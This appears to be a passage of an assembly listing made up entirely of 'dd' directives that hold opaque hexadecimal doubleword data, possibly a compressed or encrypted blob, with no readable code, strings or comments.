		dd 0D372E63Fh, 0A8458590h, 445EEF03h, 885D385Bh, 0EF139CAh
		dd 58C41861h, 0C0742067h, 5F3A286Eh, 0CE7548B0h, 5C89D00h
		dd 1F137988h, 0CD4C007Eh, 481DB8BBh, 0F002D7A6h, 0E33EBC35h
		dd 1E4E052h, 0C868003Ah, 875A7E54h, 9E3981AEh, 74007E6Eh
		dd 0EEB3CB8h, 1E6A67AFh, 299B03h, 434468C3h, 6B8964Dh
		dd 0B017C700h, 35146CCCh, 0AA880086h, 0C28CBE84h, 705C6A0h
		dd 6DE132FAh, 0DB10EAC0h, 25533E2Bh, 7F4EDF00h,	3ADDAE6Ch
		dd 8C5A8004h, 0F1C028E6h, 146E2183h, 9047524Dh,	1EC70274h
		dd 9BDB7E57h, 903B3B63h
		dd 0A2A488E5h, 81710018h, 6A09255Fh, 1700EF76h,	0FC440E38h
		dd 9FA464h, 11F4521Bh, 0E8DC5839h, 2A048803h, 0F97080BAh
		dd 0D9D80B38h, 177F31h,	0C92B4421h, 621D4DB7h, 3A007FEEh
		dd 915CEFBCh, 3EF8416Ch, 50871503h, 97B3AFBEh, 14F6304Ch
		dd 137B1730h, 4A58000h,	4EA45D0Dh, 6A600C5h, 0EAF7908Fh
		dd 7E00D782h, 7E9CC9Fh,	0E8446D8h, 0D6121B4Eh, 0E12CDBE0h
		dd 0A9001C14h, 4280AB0Eh, 549B9Ch, 36D499ACh, 310C4395h
		dd 0DD65C300h, 15B94FF6h, 3B37302h, 0D90FA1F0h,	51C01F1Ah
		dd 0EB0059E6h, 0FFDD427Fh, 28F49D05h, 0ACE85Eh,	0A7E14C28h
		dd 0DA5FFCB9h, 9804E6EAh, 3E7569Ch, 0F7835E87h,	0CBF2BB32h
		dd 0EC42C13Eh, 0E05BD0h, 0FCB33CEEh, 41A48556h,	0F5FAC703h
		dd 0D890C244h, 7B1D026Fh, 4C2300B9h, 5D175995h,	0AC022DF7h
		dd 0C8298797h, 3338E04Bh, 0DB1D0A2Fh, 0E419C9h,	93BEA3CEh
		dd 0DD01B314h, 58AA780Ch, 0BDC4C09Dh, 1E3F003Dh, 16BEE797h
		dd 500739BCh, 34557879h, 59AE9110h, 0CA9A001Fh,	0B22DA4F6h
		dd 0EC00816Fh, 0EBA2AA8Ah, 18A77C3Dh, 587D1437h, 2400F811h
		dd 16C7A171h, 9A8A6Dh, 0F2F68761h, 42C176DAh, 0F7FEF3Ch
		dd 0FEEC87Ch, 87C980C5h, 0F817A0AFh, 2ACA4C74h,	0BA6BA700h
		dd 1CF3AD9Ah, 94E65E00h, 991A273Ah, 16390005h, 826ADA20h
		dd 9C00E4F4h, 0C9A2AF7Eh, 84CDDFh, 0E6D47540h, 8391E777h
		dd 0A7003FB8h, 16351FADh, 0E1B8850h, 4356CB3Ch,	907E2940h
		dd 2B00602Dh, 277BCE99h, 61656Ch, 0C4D8CCE8h, 6BB5FEBAh
		dd 4A1F3800h, 0F1B29A2h, 0DE3C0042h, 712265B7h,	10119A8h
		dd 7E16062Fh, 2BD49C3Eh, 339D0F2Dh, 0A3436BB3h,	0F0E03422h
		dd 8001BFFBh, 9AE426EFh, 53E1D64Ch, 0E2FA9080h,	6C378547h
		dd 287C0500h, 0E4571301h, 64A701EFh, 0F0B8C30Ah, 93308096h
		dd 0F5D458ABh, 4A071D22h, 7A1200B1h, 0E66D7C4h,	26FC4200h
		dd 0EE8A5495h, 72DB1D06h, 29C88070h, 0A071917Bh, 0B8C53E00h
		dd 0F083BB82h, 9E5400A2h, 988F0AC0h, 4F7A1FD9h,	0A1643330h
		dd 740850BCh, 833000ADh, 0F0061FB0h, 5203BFD3h,	0BAC190A7h
		dd 0E5408482h, 24FCB16Ah, 8AF0E32Eh, 5B8AF300h,	6D634Ch
		dd 0C7A1435h, 5A477483h, 160FA400h, 4A52B389h, 0DA0D48FDh
		dd 1718BF00h, 595D5F28h, 0A8BA7200h, 5A9A6557h,	0B803009Eh
		dd 0A9899648h, 2392ADDh, 0FC53807Dh, 94B54ABFh,	0B2AF0152h
		dd 9AAA77DFh, 2FA0D86Fh, 0E50143F6h, 7A3F70CAh,	0B3F8C81Ah
		dd 0D5750022h, 87CE266Fh, 0B60FABF8h, 0A0520B4Eh, 0CF65F353h
		dd 0E60DEC21h, 2F380773h, 501E858Ch, 0C70EE5B0h, 0FF08BF0Fh
		dd 374900F0h, 9B526Eh, 0ADC06BB7h, 1892279Ch, 0A55E3800h
		dd 857D610Fh, 44924Fh, 0BBC481C1h, 0D9B3F1DEh, 27349400h
		dd 1B910E16h, 280863F0h, 31005984h, 9C278110h, 3E4803C5h
		dd 75023836h, 0F4F93CF2h, 5059C091h, 80544FDCh,	61B11000h
		dd 0BB249CDEh, 43C8074Bh, 0D08BE2h, 671A92A8h, 6DBCC106h
		dd 510EE23h, 5BAA01CEh,	5E3C03ABh, 8990DBB0h, 0EE4C184Bh
		dd 80C63DFAh, 91D9E3DFh, 4C058B7Ch, 0F400B4F9h,	958F1843h
		dd 0EF0344CBh, 8D02BFE2h, 20A1E659h, 971D52DDh,	0F4007761h
		dd 0BC38F0A4h, 0A3BE0002h, 0FF7C2646h, 28C03A4Ah, 86765E15h
		dd 7E360AA1h, 0F2DF8Fh,	0A8C29C4Bh, 6A0B3F69h, 805C5499h
		dd 0E20AEF92h, 84792Fh,	252283EEh, 4DF16CA1h, 68EC370Eh
		dd 0FA3180FCh, 0B3B976h, 52C3BB6Eh, 4C2517B6h, 0D8C2D500h
		dd 42DE177h, 9995038Bh,	0CAEEC61Dh, 77EF0821h, 0B9AB50h
		dd 0D33AAEA6h, 0A5CB6477h, 1EE68900h, 970EBE1Fh, 57C600F9h
		dd 6E888234h, 8B099850h, 8CDECB7Dh, 446229EEh, 16207491h
		dd 1CF42287h, 5073AE22h, 62B528C6h, 0FFB029EAh,	1D899121h
		dd 11909A01h, 7988BC04h, 7E88144Ch, 14D0BA71h, 51E56250h
		dd 0D1201BE8h, 11286356h, 217A92BDh, 1684085Ch,	2928BD8Ch
		dd 83284F6h, 81805146h,	0B6035264h, 0F18A2898h,	2BEAA6E1h
		dd 4C98D500h, 3E688FD1h, 83BA0077h, 5A88FD58h, 1D002D5Ch
		dd 8ECFB692h, 0E3423Bh,	0F6DF79EBh, 71433A97h, 0A1CE0A00h
		dd 8C38880Dh, 408E006Ch, 4A44682Ch, 8300D6E9h, 35DA6931h
		dd 0A154Dh, 960F20F6h, 0FE77BD57h, 1FC2F900h, 4093DBC0h
		dd 0F75E00AEh, 64D6CB9Eh, 7E00097Ch, 4A6C73A9h,	8B0B89h
		dd 57847A5Dh, 22FC4798h, 1DCB6301h, 1099F932h, 1B3B5E4h
		dd 1CC9AB20h, 0CC3AC059h, 800DB77h, 961B6542h, 3C216CE6h
		dd 80030EEBh, 58495CFAh, 0D48AB5F1h, 19079297h,	7E99D7DDh
		dd 0C3DB85C2h, 0BD6914C0h, 0C60060A5h, 22A73C61h, 1C0028F4h
		dd 32A2169Bh, 0E0FF691h, 0D089EB15h, 0D9363A40h, 161EB578h
		dd 0C99D439Fh, 0AD2862C0h, 283E56Ch, 1FE6FD5Ch,	0E8FD298Eh
		dd 0E285D7Ch, 0AE60C4C0h, 80C7A5A7h, 0F1B79EA1h, 62B9D21Fh
		dd 9149380h, 1F3F21C0h,	0C0A4CA50h, 0DBD68277h,	2000F481h
		dd 0F5A17258h, 724D1E1h, 0CC5B98BDh, 0BFB52056h, 6507999Eh
		dd 627DA0DDh, 0F095F860h, 0C61C00C5h, 0FA96D6D1h, 0D000AFC3h
		dd 0B1A22C01h, 0D3CB40h, 8BB86DA9h, 5FBF5599h, 3874580Fh
		dd 4D54A039h, 54E09h, 229C44B4h, 423A5EA5h, 1F23D12h, 29701000h
		dd 4D0F9Bh, 3873E0Eh, 93EDC4A8h, 440314FEh, 6AEE6125h
		dd 23ABC079h, 0F5CC00D2h, 73BC4DC1h, 0C3009366h, 0C20596ECh
		dd 1D1CA78h, 0BDAED0D5h, 4048E75Dh, 0C4B508E8h,	0EFFE5910h
		dd 0E078D114h, 0AFFCC600h, 978672DDh, 36402607h, 7FA0F8A8h
		dd 0B82328h, 5A61B705h,	6DA4C55Fh, 0EDF6B0Eh, 0FD82A92Ch
		dd 0C1213987h, 0F0744259h, 0B100A034h, 8279BF90h, 1C5B56h
		dd 7DCA170h, 93E629BDh,	0FF922E00h, 0EDA80568h,	0F446382Fh
		dd 0B2308600h, 0AEFDC916h, 84B63C00h, 88D14A7Ah, 4DC6002Ch
		dd 3956DB86h, 6700CFA1h, 306465B6h, 85B946h, 0ED25878Ah
		dd 31A4568Ch, 2081E026h, 5D7C8038h, 6F4FB4FBh, 72789513h
		dd 0E601F000h, 7A1560BBh, 69F450h, 0A765640h, 0F0B422Dh
		dd 0DF9BE100h, 8ECD7B33h, 2CE501FCh, 7C763B13h,	6FAAF012h
		dd 0F100A2EEh, 0EA0CB2A5h, 7F71D4h, 501056E8h, 0C5EE824Fh
		dd 0E9F9B928h, 88B5DA00h, 9121CB6Ah, 7E10045h, 0CFFF858Fh
		dd 0D43FFD89h, 0C08B03F2h, 0E87E1152h, 36FC688h, 6803246Ch
		dd 0F8801C64h, 81002D33h, 0E9B53978h, 61F18h, 3180D055h
		dd 0A6EFF32Eh, 0FA1EAD00h, 1A935F5h, 0B41C30C7h, 8758A1A0h
		dd 3C71E078h, 0CB3C101h, 0AC74730Eh, 4A9920BDh,	0D437A215h
		dd 1100385Fh, 89535628h, 0A04383FFh, 3B3926BEh,	74806591h
		dd 3A0770ABh, 4F031D54h, 1844D33h, 0F8AFCB22h, 0C7A4EFh
		dd 0EA5441D2h, 92B41583h, 0DC5B6500h, 13C83998h, 2AD500ACh
		dd 38B6CBCCh, 1E1FD246h, 2E47429Dh, 0CFF04B3Eh,	0C384E3h
		dd 0A41B8C22h, 0A350B676h, 251E4400h, 0E404D197h, 1AD005Ch
		dd 0AE59416Bh, 400083B4h, 0EC3EC3A0h, 8448F6h, 6C114BCFh
		dd 0A6B23B20h, 0B5D0E400h, 0A4D9D812h, 0FC903F0Bh, 81A9BD00h
		dd 0A9CE70Ch, 7263331Ch, 0CCB69D00h, 0F45D3E3Fh, 733700B8h
		dd 0AFFBA009h, 0BB038958h, 0EF526123h, 6365F022h, 0F22E004Fh
		dd 92B9E1B4h, 300BD02h,	4D6280D8h, 74A012Dh, 763EEA9Ah
		dd 0B3811F29h, 30976C54h, 2307127Fh, 0BC8DBA41h, 4CF7D90h
		dd 0EDEC00FCh
		dd 0C9923B3Ch, 490033F5h, 22206153h, 0B1266Fh, 0B517E115h
		dd 0FEE33924h, 0AEF26D1Fh, 1864A203h, 0FB8DA86Eh, 5DA400B3h
		dd 4B3BCCF4h, 250038ABh, 33DC2664h, 61EF3Ah, 4CDE6376h
		dd 1799056Dh, 19E4E200h, 15FC622Dh, 8EC00044h, 5393F4B4h
		dd 0C5020F5Ah, 0AD1A5850h, 0BB63C029h, 8E9F0087h, 72FBDC2Bh
		dd 4500B377h, 0BF255D9Dh, 0B2B66Dh, 56E1E691h, 58CC1990h
		dd 0E513FC0Eh, 0A93BE0D6h, 36E2702h, 3441A498h,	80DF307Fh
		dd 33CB9987h, 0C36AAF00h, 0F1CD76B3h, 78A01E31h, 0EDBD80C2h
		dd 673D90D3h, 1A002A98h, 0A7355B32h, 0A9B3FAh, 90D60F72h
		dd 834B7885h, 21EB2600h, 162502F9h, 646200EAh, 7CE2AD31h
		dd 0CB007996h, 2D9421E7h, 140D77Bh, 4583E39h, 7B3BE8ABh
		dd 0D250B0h, 0F311F479h, 8EBDEDEBh, 0D7A0300h, 2FE8AE20h
		dd 0F8B90730h, 0E0E9602Eh, 9773B237h, 0CFB8EC00h, 17A11A9Bh
		dd 44700FDh, 774B9420h,	7E007560h, 91CCFB22h, 46FA4Eh
		dd 2C4FA632h, 0DAA1ECDCh, 0E400F2B8h, 709DACA7h, 7575EC4h
		dd 0BC9651D7h, 0E56E2095h, 8C003294h, 34D3C1F2h, 1910E19h
		dd 377EDA08h, 205C1D5Dh, 0A80F9802h, 17C9F05h, 0C9411756h
		dd 0F0F0EBC3h, 0B44F2Ah, 0D1C85957h, 32978D21h,	30617803h
		dd 0DF7093E9h, 0A51866C0h, 84EA0088h, 0A12F3E19h, 0EE005680h
		dd 0F6776D79h, 62CC6Eh,	69C1202Bh, 39DCC311h, 34785079h
		dd 4B5EE0BDh, 2354001Ah, 0BAEEB573h, 9F71525Ch,	9A145600h
		dd 381171ABh, 74B05Bh, 606820B7h, 0BDDCEED6h, 16ACE000h
		dd 0C1D82C5Fh, 0C27155h, 3C0122B9h, 619BC7BEh, 0E8017FB0h
		dd 5F102924h, 2BDC878Fh, 182E0008h, 42BFED88h, 4C0095DBh
		dd 0E6EE8D17h, 72D163C6h, 0D0270056h, 0C73FC22h, 0E2072037h
		dd 0D6A1E662h, 34DB6670h, 0AFE7016Fh, 716A907Dh, 0F91430F3h
		dd 37B4BB0Eh, 5B80627Ch, 341048EAh, 0E7C70068h,	9AB798A2h
		dd 0F5030367h, 360BCE01h, 9D7EA05Ah, 0A3C600DFh, 0B98A3BD2h
		dd 9300D10Eh, 0DA2F8D34h, 1A76724h, 0BD4C9B0Bh,	80FE98B7h
		dd 0B4FFF9A9h, 373A55h,	2248CD16h, 0A0D388C3h, 7C989600h
		dd 93D8CE4Bh, 77380F5Dh, 0C7C082A2h, 45E2599h, 840F5C09h
		dd 3D027F2Ah, 8A811EAEh, 20032C98h, 990E78A4h, 0C3219D4Fh
		dd 0F35ABDB6h, 472ED8B0h, 0EEEF00D0h, 0A5E894CCh, 31022A6Ch
		dd 60A3FC24h, 0B7E6605Fh, 0DA0F3973h, 0B3E44380h, 498DBCF3h
		dd 0D6D03Bh, 0E10ED1B8h, 5018F0h, 0DF7F4769h, 0AB346026h
		dd 81496300h, 1AFEA571h, 94E600C5h, 84FDC815h, 0E300982Bh
		dd 4EAA1210h, 458F9Ch, 9A897EC3h, 6C95DA22h, 0B10638E6h
		dd 0A3D4D25Ch, 425E00B8h, 0A505BB54h, 67008833h, 9EF1DB65h
		dd 18F5937Bh, 61223E13h, 0EC3F7189h, 43248010h,	0F4CDD57Ah
		dd 413000AEh, 956DD7Eh,	0A0029983h, 57C84F47h, 177DE0A3h
		dd 9E7F00ACh, 50C14D1h,	781FCDFFh, 0AA1F66C6h, 542CE487h
		dd 80040392h, 4A63B5B0h, 0A5700316h, 66E06BB6h,	0D63F02C8h
		dd 0B88E7607h, 57F0087Dh, 0F96D4FFFh, 0F6C81BD8h, 0F9C13FBAh
		dd 40D2721Eh, 1A99171Fh, 9A4863C7h, 7B0A0074h, 0AA7E8A64h
		dd 0AD34005Ah, 49877C2Fh, 0E024F7F9h, 810F3182h, 7A2E80B5h
		dd 4E62B6h, 2230DAC5h, 0B7662577h, 3384B20Bh, 76182439h
		dd 0EE657480h, 6C8C020Dh, 960C57A2h, 0FC21C060h, 5900B9FEh
		dd 0E330B5Fh, 0B2BCB8h,	3A1737C0h, 9D1CDBC1h, 0E4F37E07h
		dd 5951CD94h, 12205F2Bh, 0C097F654h, 3AFE4C48h,	44133C27h
		dd 0F00E1AECh, 69B01C1Fh, 1C9CA38h, 405FE5CFh, 0EA041286h
		dd 6B9C0040h, 0EE368800h, 0B8FD0823h, 0F14B0227h, 570A1CFh
		dd 0E782B8A0h, 0EAF4A883h, 0F369AE00h, 0CFEB9BBh, 3AB0122Dh
		dd 344B0038h, 4305638Fh, 6F7AFB00h, 0E52436D9h,	0C4453B20h
		dd 0B2616C00h, 0CEECE27Bh, 9B3C6000h, 0EEBF9E88h, 13403BB6h
		dd 1D5B4C24h, 10DB8007h, 0CEC63F19h, 0B1C3B900h, 71DF53E1h
		dd 87D9000Eh, 0F692D569h, 2000C4E8h, 0D60AFE52h, 1E7BF0A1h
		dd 40FA9F1Ch, 0D19295A2h, 0AB033FD2h, 77CC98D3h, 87B58043h
		dd 0CD6A0E7Bh, 0A2E0EA72h, 946D349h, 33E1260Bh,	0A6910042h
		dd 0D7974Eh, 0F0AAD0B8h, 7DF71DFDh, 93116600h, 88AC7C17h
		dd 62FF0170h, 90D0EE9Ah, 0A95BE4B0h, 0DD129D17h, 0E5003EA8h
		dd 0B02676Bh, 0F4005A9Eh, 0EC6DD451h, 7E4975A3h, 126E41Bh
		dd 0E141B2A0h, 0DCDC7BA6h, 64003CD3h, 0B54E08D7h, 0F2D674h
		dd 7A638E2Dh, 0BCAA2961h, 20F63E00h, 0D5A08991h, 60CFF87Eh
		dd 89718ADh, 9900281Ah,	0B834489Eh, 7C15345h, 0F6C0A175h
		dd 3F1E40EEh, 8700F917h, 4CB43BE1h, 54580Eh, 0EF2B7E9Ah
		dd 51A75E2h, 82554600h,	888C4D8Bh, 0FA1C0BADh, 0F780CFDAh
		dd 0B7088460h, 110EF70Fh, 52F26007h, 1A18890h, 22C9771Fh
		dd 0E1A058B9h, 5D7CFC9Dh, 39502000h, 312707F9h,	7773005Ch
		dd 0EA2CF533h, 0AF007D37h, 79C204C8h, 7699A0D5h, 0E98D0065h
		dd 0A53236BAh, 8C00C860h, 1CE7EC20h, 0EF38Fh, 64BF7438h
		dd 0DB6F11BCh, 5B9A8A2Ch, 9F605600h, 1E8CDE20h,	403D875Ah
		dd 0F31D6F55h, 191D7E1Ch, 4A2E869Bh, 6502DE12h,	0E0F81885h
		dd 570F216h, 61F93B1Ch,	344E80C9h, 190063C0h, 0F430B3D9h
		dd 0D04F89h, 7F32DC92h,	0D360612h, 422B3A0Fh, 256EE093h
		dd 0BF704Ah, 0EF79ABF3h, 0A15932E4h, 0C6AF1900h, 9C66A065h
		dd 0BCFE00A6h, 1DCE3EBFh, 0DA05363Fh, 1C088306h, 9D694B80h
		dd 0AE7D65h, 1F4C055Ah,	26C98BCFh, 0BDF95700h, 0B20F6986h
		dd 0E9F8D5h, 9E878902h,	7BA2FB9Dh, 4A1CA0C0h, 8C5AE6h
		dd 7A25B3D5h, 202DEF8Ah, 0FF4CE8C0h, 3CB1A1EBh,	0EC01C514h
		dd 2718AF9Eh, 0CC016044h, 826DF604h, 30906FD8h,	952B19h
		dd 7337B35Bh, 18511DD9h, 236F7103h, 0B8385CAAh,	7979340h
		dd 0DDB5099Ah, 4E49E01Fh, 0BD26C670h, 370E2A8Dh, 8604C050h
		dd 0B3391Ch, 31694327h,	0A2F141A6h, 530F33E6h, 0E7A8C047h
		dd 8301D12h, 3599C94h, 7D752809h, 1AB8F435h, 180F3F0Ah
		dd 606608B2h, 80C210FFh, 0F3E400E1h, 25ADC155h,	0C93CAA65h
		dd 0DA28E001h, 182379h,	8698313Ch, 0C0CF7B11h, 0D500A374h
		dd 2BC209C6h, 3C9A72F0h, 5853C31h, 0C0A3E80Ah, 0BE18781Dh
		dd 8DE6E000h, 0C5AE26F4h, 0EB1D0020h, 0B577E799h, 0AA0046D1h
		dd 65219503h, 117AF85h,	0D0164512h, 8051301Eh, 0D7567810h
		dd 609BBCh, 0F1F5E515h,	25AC09C5h, 666BD500h, 39BD7C8Dh
		dd 9BFC72h, 0AA4C041Dh,	8C3831ADh, 59969C00h, 8794F025h
		dd 7DFD002Bh, 0DCA2B857h, 0E900E14Ah, 4FAF99CDh, 8B29C9h
		dd 3D8F2011h, 128521DDh, 54D7013Eh, 9F009E90h, 40472AEDh
		dd 0E4CA7Fh, 0FCC5AF43h, 91FBFC1h, 631A3B05h, 0BAA3B4h
		dd 4873653Eh, 860043D2h, 69CD8720h, 426B30h, 0A62593CBh
		dd 5D8E5515h, 100E7400h, 5EF93C65h, 1F24EA38h, 80E4297Ch
		dd 0B4758426h, 0B50EB6B9h, 202F3BA9h, 80E0C4E3h, 0D9600342h
		dd 0A3B8AC4Bh, 0D2119088h, 0D028B263h, 5F35D87Ch, 0B5580015h
		dd 7B4E7619h, 7039838h,	0ABFB1B10h, 6A31F882h, 79121DA5h
		dd 9C97F6h, 94836466h, 7B0023FDh, 0F518DBF2h, 58F0C136h
		dd 1500924Ah, 4EB044E0h, 0C800E848h, 0EB1E1CA0h, 8ED5BAh
		dd 0BF9755CCh, 0F0461403h, 8B909500h, 411A91B8h, 4C750035h
		dd 21E6C35Fh, 0B2076B3Bh
		dd 0FA54C6F4h, 7685DFC0h, 0FE2B0E63h, 51A0D6ABh, 0F7306C0Ch
		dd 1CC0AC0Fh, 0ECF8E0B2h, 1C34B7Ch, 32774F7Ah, 0EC789989h
		dd 0D200590Ch, 0AA01343Ah, 250497h, 226B4E42h, 52D77CDFh
		dd 93FFD803h, 3E07DA4Dh, 0BC00A6A8h, 3E2CB699h,	3F0924B1h
		dd 83AE92E8h, 0B0A8FCF6h, 0D0CF6Bh, 72201067h, 122CC6Fh
		dd 0CA00C778h, 2A757C3Dh, 0E78597h, 0E8DF7F7Ah,	46E952CEh
		dd 5E3EB807h, 17001415h, 5094D7h, 97E724Eh, 4A29AB25h
		dd 0B13A1C00h, 18DA7FB5h, 0E98700E1h, 0E3818EBFh, 0D0FA624h
		dd 40B7906Eh, 0C1201AE5h, 71C9008Dh, 0E0F85AF4h, 0C4036FB6h
		dd 0A46C74EAh, 0DEE0FF58h, 9703DDh, 7221E257h, 39474113h
		dd 2E49C100h, 94CFF64Fh, 53CD1E35h, 0A6BA83C8h,	6D8644Ah
		dd 0A0F6D83Dh, 93009E75h, 43EA1F7Dh, 3F1A4DB2h,	1600E4D1h
		dd 6EC30B1Dh, 99ECBA84h, 293E0107h, 66F5C758h, 5640941Dh
		dd 0B6CEDBE7h, 32C800B2h, 0D590C3DCh, 3E00AA1Fh, 0FFCD7C6Ah
		dd 0AFB1D7h, 0A8DD94A6h, 639DAB66h, 50FEC000h, 0E71D3330h
		dd 71879BDh, 90EB8A74h,	10101CD8h, 98ACBF04h, 5600BE9Eh
		dd 0A3517F4Fh, 67C740h,	8DA5B36h, 0B3250302h, 343B2200h
		dd 48B26F59h, 0D1491CA7h, 0CB0FCE71h, 424C72AFh, 8A003B70h
		dd 8218E8FDh, 48DB5F6Dh, 210033F9h, 0BA47D4Bh, 81005299h
		dd 0FA04FB10h, 28C3A22Fh, 0DCE660h, 92AEEBD5h, 8AD67120h
		dd 79DC730Eh, 14005287h, 67E2279Dh, 7185588Dh, 0FD24EE00h
		dd 4C775C56h, 2C00C7F0h, 0D6A5502h, 3CF282h, 0A6C9B7B2h
		dd 23A7C4E1h, 0C94B400h, 9B9CD519h, 31B23DBAh, 80C7D11Ch
		dd 1B459EF2h, 480070A4h, 0CE9397BBh, 72A54D4h, 8EBE19A9h
		dd 0EBD14022h, 9FFECC33h, 0A37DA100h, 126D73AEh, 150F3DA9h
		dd 5B78DA00h, 0C2922DA2h, 296FA8A0h, 0F0002CE0h, 0FA7BD008h
		dd 967F0Ch, 692DC43h, 0AF6CFBCAh, 727C2CEEh, 0B8EFCC00h
		dd 0EBC6052Ah, 41210012h, 59691311h, 0BC70DC8Fh, 5833D000h
		dd 649CA9B8h, 46285815h, 0BE71E800h, 0DC34FE63h, 0B006490h
		dd 7FD7FDD6h, 17CAC6Dh,	10FBF4D4h, 0C4985973h, 8401C521h
		dd 7671072Ah, 0D1FBA081h, 0BAC8408Ch, 29770059h, 0AE19BE1Eh
		dd 75102E99h, 8F047887h, 4098FAA4h, 5BD2F22Dh, 1E4F0392h
		dd 0C7D7ED52h, 9F4BFDE0h, 660074F4h, 9AD6E64Ch,	7AE13DCh
		dd 0C3A82871h, 0F6B7C0DDh, 2C98E7D1h, 828C8E02h, 40B22A45h
		dd 9EEF2DCh, 12A274ECh,	0A415EC81h, 0D7A02086h,	0A8F87912h
		dd 4349F400h, 62E9A9CBh, 6AB010A0h, 2F544C99h, 11C33A0h
		dd 0C8774412h, 707003E7h, 0CE03CB79h, 0FCF0920Fh, 9059E8E0h
		dd 74E700FDh, 9B72B78Bh, 3E3082C9h, 26F61076h, 1A9E0252h
		dd 1937FD7Ah, 8DCC7F40h, 47EDD600h, 8C9BB2AAh, 0E24400A5h
		dd 59CD70AEh, 0B114EFA4h, 1CCC75Dh, 8F49B0BFh, 0F8DC379Ah
		dd 0D9E809h, 0E0F2F31h,	0A3BD304Dh, 299E9C1Fh, 5A21FC40h
		dd 3B29767h, 0DC6541DDh, 23B026B3h, 960070DBh, 0B5B9A78Eh
		dd 3F5EFEBh, 0FE65B50h,	0BC9911D3h, 0D1C42E4Fh,	0C963B040h
		dd 9081FFh, 98F39971h, 0A59EC2FBh, 0D9B9A800h, 0B7A74C6Bh
		dd 3CE53DE2h, 67AF5600h, 0CE6E0F31h, 6A73CA00h,	0D4CF815Fh
		dd 4677001Fh, 0AE9A86C7h, 3100E6FDh, 0B8ED2ADh,	2DF276Eh
		dd 0F074DDF9h, 1C09C0Eh, 0DE007F04h, 0D7D15A9h,	1FE4A5h
		dd 0B1340C9Eh, 0A4983FE6h, 83BE2C3Fh, 10DCF2Bh,	6EC1A821h
		dd 381D01B2h, 0EA0AA354h, 6F268F95h, 859C80ACh,	8ACCADh
		dd 4D1B3316h, 18EC0A0Dh, 0AA5B9B00h, 272AFFF2h,	0C1A70030h
		dd 57C7A4Ch, 1100F037h,	0E2EB7959h, 0A0E51C62h,	6E4190h
		dd 35B020C6h, 433F9C30h, 0E02D9103h, 0C0CBF41Eh, 41BFB9h
		dd 2172355Ch, 286958BAh, 0ABEAC0EFh, 0F300E877h, 0E1D63178h
		dd 302A0350h, 0AF0CA6C3h, 0B0046FEh, 7DE57312h,	1F82FC44h
		dd 0B5D743h, 28833ECBh,	0CA00EFA3h, 0F308E447h,	1ED5109h
		dd 1AEA1268h, 0E8106276h, 0AB49DA72h, 7723C1C0h, 0F440022Ah
		dd 129DEB38h, 6AD4C1h, 0BDBB12A4h, 6301A7D8h, 6B432DCAh
		dd 8430877Bh, 9A0A00D9h, 12B08D51h, 9700B4D2h, 77EB3056h
		dd 25766ED0h, 5E8F85F9h, 0B1E480E0h, 3A0087BAh,	0A8B8C1F2h
		dd 5875D6h, 0B29440E0h,	2AC00613h, 4A14F87Fh, 5ACA3EDh
		dd 26790B77h, 714B7AC0h, 2FCD004Fh, 135FB7E7h, 53B78E9h
		dd 0E1FF689h, 0F802C852h, 40205C22h, 0CA73D74h,	0B08AFAE1h
		dd 1100C710h, 79AB62AFh, 71554E6h, 7EA4109Fh, 0DB48C001h
		dd 6300F194h, 0DE03B1CFh, 0C02182B0h, 0EA98889h, 1B799394h
		dd 80F37605h, 8C226A1Eh, 3E82085h, 6C0067B6h, 0E9B8B4BBh
		dd 0F4A8BE62h, 22430050h, 3D2E3EDBh, 0C00088A2h, 7CCE3BA3h
		dd 0F46D4630h, 96C62845h, 0DA8600C5h, 0DD03E613h, 26000CA7h
		dd 8EDE46EFh, 95794Dh, 455AE544h, 0EED76487h, 8D60C000h
		dd 30A59777h, 0AE6100E9h, 1E4DC423h, 2600121Dh,	0CEF59C4Bh
		dd 17599F8Fh, 426A4F5Fh, 98B7C620h, 0F854FC60h,	0CCB63603h
		dd 0D4C2423Dh, 6ACE4580h, 1EA50233h, 0C8BCB0B3h, 95AE4868h
		dd 0A21190B1h, 3F223300h, 4CD65E34h, 7DCE9A12h,	4B2D6100h
		dd 1DFB39C5h, 0CC924612h, 40500A1Ch, 783CE77Ah,	0D2A80030h
		dd 9160EE01h, 0CEB4B8E2h, 0C01E168h, 0C6DCCF06h, 7CE093C2h
		dd 5EF8EC84h, 6F8B5D00h, 0BD1C1028h, 64FCBCh, 26E0FFC4h
		dd 8546E3Fh, 218E5300h,	0A1FA01F0h, 7F620AA5h, 92CFF8h
		dd 0D9F38D84h, 0E001B86h, 278248A7h, 4E212Eh, 8D9C90C2h
		dd 3ACD31AEh, 0C7D8A304h, 5880190Bh, 0AE5ED6Eh,	98736A77h
		dd 0A91FA4h, 35F9C47Fh,	9F0046B9h, 6226DFCAh, 3691E27h
		dd 0E954A0BAh, 1000252Dh, 954E1345h, 0E3E879h, 0B7E0D3E6h
		dd 0F96C06A5h, 1707787Bh, 0E448A95Eh, 7FA1AF0h,	0B5A000BFh
		dd 0F71C1D45h, 87C349Eh, 56BED001h, 4AE802F8h, 16276CCCh
		dd 37BF9A5h, 2BE173E4h,	0FAB88BB1h, 80B154C1h, 0C4501A21h
		dd 944E82h, 16D7FC26h, 1FD03325h, 46AE6014h, 5D6C0092h
		dd 0F6921768h, 8A300ACh, 3B730D9Eh, 5600D8E1h, 2B387128h
		dd 3DC0F1Eh, 5BA0E707h,	53E09612h, 0C71EF088h, 0DD80B3D5h
		dd 44E06C9Ch, 0C9A2028Bh, 510AB552h, 1E145760h,	0C5F82801h
		dd 50958D3Fh, 2D7C24h, 0AB2E886h, 0CD3EB81Eh, 590079F4h
		dd 9E7F74Ch, 0F6EA0EFh,	329C7BD9h, 9A3FCC80h, 76092638h
		dd 805C4AD1h, 0ED20E14Ch, 14BB093Bh, 0A1815E42h, 0E469DE7Dh
		dd 0E000BDBAh, 528F57EFh, 0F464F36h, 0AABFB00Ah, 5F05B880h
		dd 670031C7h, 1F64E155h, 1BCF44Dh, 3F5AA5Eh, 70AD9D6Ah
		dd 8D00DA24h, 0A556EBA8h, 0ED8845h, 0EE5D9EF2h,	20AD7CBDh
		dd 2F0015F0h, 5079C973h, 0B03A4111h, 0F4BC00E0h, 7E600E6Bh
		dd 8100C41Dh, 8567A992h, 8A4B7Ah, 0E25A4F1Eh, 8E511087h
		dd 0CD58F9F6h, 0F812849Ch, 0B71A6540h, 30002B90h, 0C2492961h
		dd 0D0D43Eh, 91E8BDCh, 0A2ACA736h, 50B5C012h, 0EA1C4300h
		dd 143C4762h, 9B213484h, 14CB6C06h, 0F3C38D5h, 2D030B42h
		dd 0E30C0223h, 33C8401Ah, 75FA0192h, 7FE1F6ACh,	0C898318Dh
